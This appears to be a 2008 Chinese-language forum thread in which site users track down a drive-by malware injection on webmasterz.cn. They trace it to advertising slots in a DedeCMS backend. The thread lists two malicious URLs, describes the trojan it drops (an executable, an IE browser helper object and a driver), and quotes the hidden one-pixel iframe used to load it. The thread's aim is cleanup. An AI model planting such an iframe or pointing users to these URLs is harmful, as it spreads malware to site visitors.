webmasterz.cn上的掛馬掛在哪了 我怎麼查了半天查不到？

請老大仔細的查查吧，剛又發現了幾個，全是免殺的~~一個勁的往外蹦，但是我的卡卡即不報~~
2 V. ~5 G& ?5 `$ n% l3 n1 Q4 i) zhttp://ppp.749571.com/dm/test.htm
http://www.985676.cn/encrypt/mm.htm
這兩個是免殺的，還有幾個沒記下來，
- X* D& `3 Z5 o( u9 g這掛馬的兔崽子有一手，隱藏的很好啊~~一般人都看不出來~

會在C盤下產生 CRESS1.EXE
" a+ a( }5 |; F+ x: H: t然後增加IE的BHO的木馬 還釋放驅動

昏 他藏得好隱秘  找到了 放毒得地方了
' O2 m  |) Z0 v0 _7 [: S% A8 h
* n& V2 k7 h  ^  j) Tiframe src=h t t p://w w w.9856 76.cn/encrypt/mm.htm width=1 height=1></iframe>
然後再這個地址轉到ppp.749571.co m/dm/test.htm
為了跟蹤這個病毒 自己失誤的。。。。哎。修復中ing。。。。
靜水趕快清理了吧

原帖由 20082008 於 2008-1-9 16:33 發表
. [- C3 i# r% q5 `2 x沒裝REAL就沒事，好在我重新裝的系統:

3 x7 q# ]3 q6 T% h  Z說的沒錯

原帖由 freelzyr 於 2008-1-10 16:47 發表
4 S8 t, n  B" e2 b% ~進dede後台
檢查 ad_js.php?aid=1  
+ Q# [5 T8 Y# e" x7 Uad_js.php?aid=2
ad_js.php?aid=3
3 J. }* S! D% Z: S% |# ?ad_js.php?aid=4

這幾個廣告 裡面的代碼
在這幾個 掉茅廁位 裡面   含有 木馬的 代碼

, j; S, O2 H( p; _
! r* l+ E2 q( ^2 c! W這個檢查了沒有的

原帖由 靜水流深 於 2008-1-11 02:27 發表
1 [3 L& e8 A7 a. M
. Z3 N% ?$ C- J
) {$ A8 Q5 x, L2 L7 S- K: @- {這個檢查了沒有的

  x) v  b/ X! O, j4 ?
我看過了，有掛馬的代碼，代碼已經在你的另一個貼子裡貼出來了

原帖由 靜水流深 於 2008-1-11 02:27 發表


這個檢查了沒有的

) H2 a, W& J, ]# p木馬就是在這裡裡啊
在後台的掉茅廁位設置那
裡

現在明瞭.
1 J1 L' y% A5 o9 g/ H& k6 t' o有人收流量做ppp.749571.co m的..
最近被掛馬的話. 都改成js了. 不用iframe了

菜鳥,怕怕,不敢看,啥時好了說一聲,我再去看風景